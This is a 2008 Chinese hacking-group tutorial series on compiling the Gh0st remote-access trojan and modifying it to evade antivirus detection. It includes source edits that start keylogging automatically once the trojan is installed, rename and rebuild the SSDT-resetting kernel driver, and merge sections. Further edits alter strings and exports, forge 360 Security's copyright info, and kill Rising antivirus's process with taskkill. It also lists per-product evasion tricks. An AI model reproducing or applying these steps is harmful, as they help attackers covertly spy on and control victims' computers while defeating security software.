**********************************************
暗安全技术小组(暗组) www.darkst.com
我们创造的不是技术,不是成果,而是我们的精神。
我们赋予暗组以灵魂,并将永远延续。
无尽的黑暗,无尽的追求;
为技术而生,共享,自由。
**********************************************
————————————————————
第一课改后的源码下载地址:
http://torrent.qupan.com/963588.html
————————————————————
教程下载地址:
http://torrent.qupan.com/963218.html
————————————————————
暗组Gh0st编译免杀系列教程1_编译前的准备工作
做教程之前先说明下,我自己也还不怎么懂VC++,只是把我知道的东西教给大家了,呵呵
大牛就飘过吧...
先做好以下步骤:
————————————————————————————
安装vc++6.0
SDK包更新
安装DDK2003(编译驱动要用到这个)
去除硬盘锁(硬盘锁不是好玩的东西,所以还是注释掉好了)
编译生成
————————————————————————————
以上这些我就不多说了,网上也出来了不少这样的教程
参考教程:
http://www.3800hk.com/donghua/f/24166.html
http://www.heibai.net/download/Soft/Soft_13829.htm
DDK下载址:
http://www.seegle.cn/temp/winxpddk.zip
SDK下载址:
http://www.namipan.com/d/VC98.rar/184e40de31642ee25251a35e1efcefbdc011226249be0e04
然后我们来改下界面吧,改的好看点 o(∩_∩)o...
1.把菜单栏显示出来,把下面这个注释掉就可以了
// 去掉菜单栏
m_pMainWnd->SetMenu(NULL);
————————————————————————————
2.
gh0st\MainFrm.cpp(改界面高度、宽度等)
BOOL CMainFrame.:PreCreateWindow(CREATESTRUCT& cs)
{
if( !CFrameWnd::PreCreateWindow(cs) )
return FALSE;
// TODO: Modify the Window class or styles here by modifying
// the CREATESTRUCT cs
// cs.cx = 646;
cs.cx = 800; //改宽度
/*
if (((CGh0stApp *)AfxGetApp())->m_bIsQQwryExist) //存在QQwry.dat界面就加长100,注释掉
{
cs.cx += 100;
}
*/
// cs.cy = 310;
cs.cy = 500; //改高度
cs.style. &= ~FWS_ADDTOTITLE;
cs.lpszName = "Gh0st 个人版"; //改名称
return TRUE;
}
————————————————————————————
COLUMNSTRUCT g_Column_Data[] =
{
// {"ID", 48 },
{"上线ID", 48 },
// {"WAN", 102 },
{"广域网IP", 102 },
// {"LAN", 102 },
{"局域网IP", 102 },
{"计算机名/备注", 107 },
{"操作系统", 128 },
{"CPU", 55 },
{"Ping", 40 },
// {"摄像头", 51 },
{"视频状态", 60 },
// {"区域", 100 }
{"地理位置", 100 }
};
————————————————————————————
3.改弹出的提示
strToolTipsText.Format("上线主机信息:\n主机名: %s\nIP : %s\n系统: Windows %s", LoginInfo->HostName, IPAddress, strOS);
// strToolTipsText += "\nArea: ";
strToolTipsText += "\n地理位置:";
//m_TrayIcon.Create(this, WM_ICON_NOTIFY, "Running ....",
m_TrayIcon.Create(this, WM_ICON_NOTIFY, "正在运行 ....",
————————————————————————————
4.改弹出菜单(这样改可以让免杀的时候卸载服务端方便点)
IDR_LIST MENU DISCARDABLE
BEGIN
POPUP "MENU"
BEGIN
POPUP "主机管理(&S)"
BEGIN
MENUITEM "卸载(&U)", IDM_REMOVE
MENUITEM SEPARATOR
MENUITEM "断开(&D)", IDM_DISCONNECT
MENUITEM "注销(&L)", IDM_LOGOFF
MENUITEM "重启(&R)", IDM_REBOOT
MENUITEM "关机(&S)", IDM_SHUTDOWN
END
MENUITEM SEPARATOR
MENUITEM "文件管理(&F)", IDM_FILEMANAGER
MENUITEM "屏幕控制(&C)", IDM_SCREENSPY
MENUITEM "键盘记录(&K)", IDM_KEYBOARD
MENUITEM "远程终端(&T)", IDM_REMOTESHELL
MENUITEM "系统管理(&M)", IDM_SYSTEM
MENUITEM "视频查看(&V)", IDM_WEBCAM
MENUITEM "语音监听(&W)", IDM_AUDIO_LISTEN
MENUITEM "下载执行(&D)", IDM_DOWNEXEC
MENUITEM "免杀更新(&U)", IDM_UPDATE_SERVER
POPUP "访问网址(&V)"
BEGIN
MENUITEM "隐藏(&H)", IDM_OPEN_URL_HIDE
MENUITEM "显示(&S)", IDM_OPEN_URL_SHOW
END
MENUITEM "清除日志(&C)", IDM_CLEANEVENT
MENUITEM "更改备注(&R)", IDM_RENAME_REMARK
MENUITEM SEPARATOR
MENUITEM "选择全部(&A)", IDM_SELECT_ALL
MENUITEM "取消选择(&U)", IDM_UNSELECT_ALL
END
END
————————————————————————————
5.断开连接、注销、重启、关机的时候弹出警告,防止关机什么的时候什么都不提示
void CGh0stView::OnDisconnect()
{
if (MessageBox("确认断开连接吗? 断开连接后,必须等待服务端重启后才能控制对方了!", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
POSITION pos = m_pListCtrl->GetFirstSelectedItemPosition();
while (pos)
{
m_pListCtrl->DeleteItem(m_pListCtrl->GetNextSelectedItem(pos));
}
}
——————
void CGh0stView::OnLogoff()
{
if (MessageBox("确认注销吗?", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_LOGOFF | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
}
void CGh0stView::OnReboot()
{
if (MessageBox("确认重启吗?", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_REBOOT | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
}
void CGh0stView::OnShutdown()
{
if (MessageBox("确认关机吗?", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_SHUTDOWN | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
}
————————————————————————————
6.安装木马后直接打开键盘记录的方法:
安装服务端后,判断是否存在syslog.dat这个文件,如果有,则自动开启离线记录,如果没有就默认不开启键盘记录。
在文件KernelManager.cpp里加入下面的代码就可以了,来测试下是否安装了木马之后就打开了键盘记录
//安装木马即开始键盘记录
char strRecordFile[MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "\\syslog.dat");
DeleteFile(strRecordFile);
if (GetFileAttributes(strRecordFile) == -1)
{
HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
}
7.让打开控制端的时候界面显示在屏幕**,这个Gh0st打开之后老是显示在做上角,不舒服,所以改下 ^_^
int CMainFrame.:OnCreate(LPCREATESTRUCT lpCreateStruct)
{
this ->CenterWindow(CWnd::GetDesktopWindow()); //加上这句话就可以了
...
8. 再改下文件生成和调用的地方,把sys、dll、exe都改到Bin目录里去
原来的生成位置是这样的:
Gh0st\Server\install\res\svchost.dll 这个是生成的dll文件
Gh0st\gh0st\res\install.exe 这个是生成的exe文件
其中svchost files是dll的工程
install files是exe的工程
dll生成位置:(生成的dll的名称是和dll的输出表有关的)
../install/res/svchost.dll //原来的输出表里的dll名称是svchost.dll
../bin/avcenter.dll //我们来改下生成的名称和位置,生成的是avcenter.dll了吧,所以我们在免杀的时候,这个
//输出表的dll名称是可以乱改的,只是编译的时候生成的名称而已,不会影响功能
exe生成位置:
../gh0st/res/install.exe //原来的生成位置
../bin/install.exe
改了生成的位置之后还得改资源调用的位置,要不然还是在调用原来位置的dll和exe
dll资源调用:
//IDR_DLL BIN DISCARDABLE "res\\svchost.dll"
IDR_DLL BIN DISCARDABLE "..\\..\\bin\\avcenter.dll"
exe资源调用:
//IDR_BSS BSS DISCARDABLE "res\\install.exe"
IDR_BSS BSS DISCARDABLE "..\\bin\\install.exe"
sys资源调用:
//IDR_SYS BIN DISCARDABLE "..\\sys\\RESSDT.sys"
IDR_SYS BIN DISCARDABLE "..\\..\\bin\\RESSDT.sys"
现在都生成到bin目录里去了吧,这样就方便了,省的到处去找生成的东西
还得把sys也复制到Bin目录里去,编译下看看
9.
最后就是改下图标什么的啦,在这个目录里(Gh0st\gh0st\res),自己去找合适的ico图标来改吧。
呵呵,好了。其他的就自己想怎么改就怎么改吧,我就不多说了
洪流
2008.12.18
暗组Gh0st编译免杀系列教程2_驱动文件编译方法一
2008-12-20 07:58
********************************************** 暗安全技术小组(暗组) www.darkst.com 我们创造的不是技术,不是成果,而是我们的精神。 我们赋予暗组以灵魂,并将永远延续。 无尽的黑暗,无尽的追求; 为技术而生,共享,自由。 **********************************************
暗组Gh0st编译免杀系列教程2_驱动文件编译方法1
命令行编译驱动
1.改RESSDT字符串(一共5个地方)
先搜索RESSDT,改为什么都行,比如我改为avcenter
// RtlInitUnicodeString(&DerName,L"\\Device\\RESSDT"); RtlInitUnicodeString(&DerName,L"\\Device\\avcenter");
// RtlInitUnicodeString(&DerName2,L"\\??\\RESSDTDOS"); RtlInitUnicodeString(&DerName2,L"\\??\\avcenterDOS");
// hDriver = CreateFileA( "\\\\.\\RESSDTDOS", hDriver = CreateFileA( "\\\\.\\avcenterDOS",
//TARGETNAME=RESSDT //这个得搜索所有文件才可以搜索到了,这个是生成驱动的名称 TARGETNAME=avcenter
//SOURCE=..\sys\RESSDT.sys(这里不能用注释符号 ..\..\bin\RESSDT.sys表示生成到Bin目录里去) SOURCE=..\..\bin\avcenter.sys
还得改下上个教程里sys资源调用: //IDR_SYS BIN DISCARDABLE "..\\sys\\RESSDT.sys" IDR_SYS BIN DISCARDABLE "..\\..\\bin\\avcenter.sys"
2.然后再给驱动文件加点花指令,或者也可以再把那个DbgPrint前的注释去掉
或者加个sprintf也可以:
#include <stdio.h> //先加个文件头 sprintf("aaaaaaa", "bbbbbbbbb", 123);
反正改的越多杀软就越难查杀
3.还可以合并下区段:合并区段是个很重要的方法,特别是在下个教程里你可以看到它的效果
#pragma comment(linker, "/merge:.rdata=.data ") //把.rdata区段合并到.data里去 #pragma comment(linker, "/merge:.text=.data ") //把.text区段合并到.data里去
合并后驱动文件的大小就由3K变成了2K了,这个还可以使你的木马变小
4.
在命令行编译驱动也有两个方法,第二个方法快点...
—————————————————————————————————————————————————
改完后把Server里的sys文件夹复制到DDK安装目录里,然后在cmd里运行命令
cd\ (来到C盘根目录) C:\WINDDK\2600\bin\setenv.bat C:\WINDDK\2600 chk (这个命令得看你的DDK安装在哪) cd sys (进入sys目录) build (编译sys文件)
—————————————————————————————————————————————————
或者直接来到这里,进入sys文件夹去编译
开始\Development Kits\Windows DDK 2600\Build Environments\Win XP Free Build Environment
—————————————————————————————————————————————————
改下输入表的大小看看过瑞星不?
编译生成之后再去看看sys文件里的字符串哪些变了
这样改后还是有很多杀软会杀的,再给驱动文件加个输入表就可以免杀很多,但我现在还不会,呵呵
5.手动免杀其他杀软
小红伞:移动ntoskrnl.exe到驱动文件的最后
nod32:改子系统
瑞星:改输出表大小为30
avg:填充掉文件头上的那些东西
改后就剩下两个杀软杀了
.
.
教程下载地址: http://torrent.qupan.com/971151.html
.
|
暗组Gh0st编译免杀系列教程3_驱动文件编译方法二
2008-12-20 08:00
********************************************** 暗安全技术小组(暗组) www.darkst.com 我们创造的不是技术,不是成果,而是我们的精神。 我们赋予暗组以灵魂,并将永远延续。 无尽的黑暗,无尽的追求; 为技术而生,共享,自由。 **********************************************
暗组Gh0st编译免杀系列教程3_驱动文件编译方法2
方法2:新建工程编译驱动
接着上个教程来编译驱动
1.新建工程,在avcenter目录里添加sys的源码文件,共3个【makefile、RESSDT.c、sources】
2.工程配置
3.把批处理文件MakeDrvr.bat,放到avcenter目录里
4.工程设置
C:\Gh0st\avcenter\MakeDrvr C:\WINDDK\2600 C: C:\Gh0st\avcenter free -nmake /a
把sys文件生成到Bin目录里去
..\..\bin\avcenter
5.编译
卡巴的ssdt清除不掉...
.
.
教程下载地址: http://torrent.qupan.com/975876.html
.
|
.暗组Gh0st编译免杀系列教程4_dll和exe编译免杀过常见杀软
2008-12-20 10:59
********************************************** 暗安全技术小组(暗组) www.darkst.com 我们创造的不是技术,不是成果,而是我们的精神。 我们赋予暗组以灵魂,并将永远延续。 无尽的黑暗,无尽的追求; 为技术而生,共享,自由。 **********************************************
这个学期的期末考试完了,所以就把教程一口气都做出来了...
暗组Gh0st编译免杀系列教程4_dll和exe编译免杀过常见杀软
针对国内的杀软,一般只要去研究怎么改字符串和输出表就可以了,因为只有这些才会被它们追杀
觉得很多人用的编译后根据文件特征码,到源码里找代码的方法是很不明智的,那样的源码免杀不仅浪费时间,而且目的性太强
不要忘了我们源码免杀的目的不再像特征码免杀那样了,我们要的效果是免杀的效果更好、免杀的时间更长
所以免杀的时候也不要去管代码里的特征码,只管字符串、输出表、输入表
代码里的特征码只要在源码里稍微做点修改就会消失的
而对付国外的杀软,不仅要研究字符串和输出表,还得研究输入表
1.区段合并法(区段合并后就过了很多了)
svchost files/svchost.cpp //#pragma comment(linker, "/OPT:NOWIN98") #pragma comment(linker, "/opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW") //把.rdata、.data合并到.text区段里去,/section:.text,ERW"这个是设置区段的读写权限
我们分别生成一个,再来比较下他们的区段,合并区段后,代码的变化是巨大的,所以很多杀软都不查杀了
但我们还得改下字符串,因为有些字符串被杀软查杀
2.字符串分割法
下个教程里对付卡巴启发会用到,这里就不提了
3.改字符串大小写
这是个需要很大耐心,呵呵
自己慢慢去改吧,改的越多免杀的效果就越好、免杀也越长久
// if (strstr(lpURL, "http://") == NULL && strstr(lpURL, "https://") == NULL) if (strstr(lpURL, "HTTP://") == NULL && strstr(lpURL, "HTTPS://") == NULL) //这个不能改大小写,改了不能用http上线了
4.加输出表函数
其中ResetSSDT这个输出表函数被卡巴启发杀,下个教程讲怎么改这个函数
extern "C" __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[]); extern "C" __declspec(dllexport) bool ResetSSDT(); extern "C" __declspec(dllexport) bool whm(); extern "C" __declspec(dllexport) bool Rool();
输出表的排列是按首字母顺序排列的
extern "C" __declspec(dllexport) bool whm() { return false; } extern "C" __declspec(dllexport) bool Rool() { return false; }
5.改文件版权为360安全卫士里AntiActi.dll文件的版权(过金山清理专家、360安全卫士恶意扫描、360安全卫士木马查杀)
替换掉.rc文件里的版权信息就可以了,exe文件得先给它加个版权
版权所在的文件: C:\Gh0st\Server\svchost\svchost.rc C:\Gh0st\Server\install\install.rc
6.搜索Sleep,加花
这里搜索Sleep的原因是Sleep是延时的,所以加几个nop也可以起一点点的延时的作用吧
当然你也可以在其他地方加啦,看我怎么加吧(我就加3个nop的花了,大家可以加长点,因为nop加的多了会卡死)
__asm { nop }
汗 算了 不加了 老是卡死
7.改配置信息AAAAAA、CCCCCC // file.Write("AAAAAA", 6); file.Write("HHHHHH", 6); // lpEncodeString = (char *)FindConfigString(hInstance, "AAAAAA"); lpEncodeString = (char *)FindConfigString(hInstance, "HHHHHH"); // char *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA"); char *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "HHHHHH");
// file.Write("CCCCCC", 6); file.Write("XXXXXX", 6); // lpServiceConfig = (char *)FindConfigString(hInstance, "CCCCCC"); lpServiceConfig = (char *)FindConfigString(hInstance, "XXXXXX");
8.过瑞星卡卡,呵呵,结束进程的,好像暴力了点,加在exe的入口就可以了
WinExec ("taskkill /f /t /im RSTray.exe", SW_HIDE);
好了 教程就到这吧 下个教程讲过卡巴的启发 呵呵
教程下载地址: http://torrent.qupan.com/978460.html
|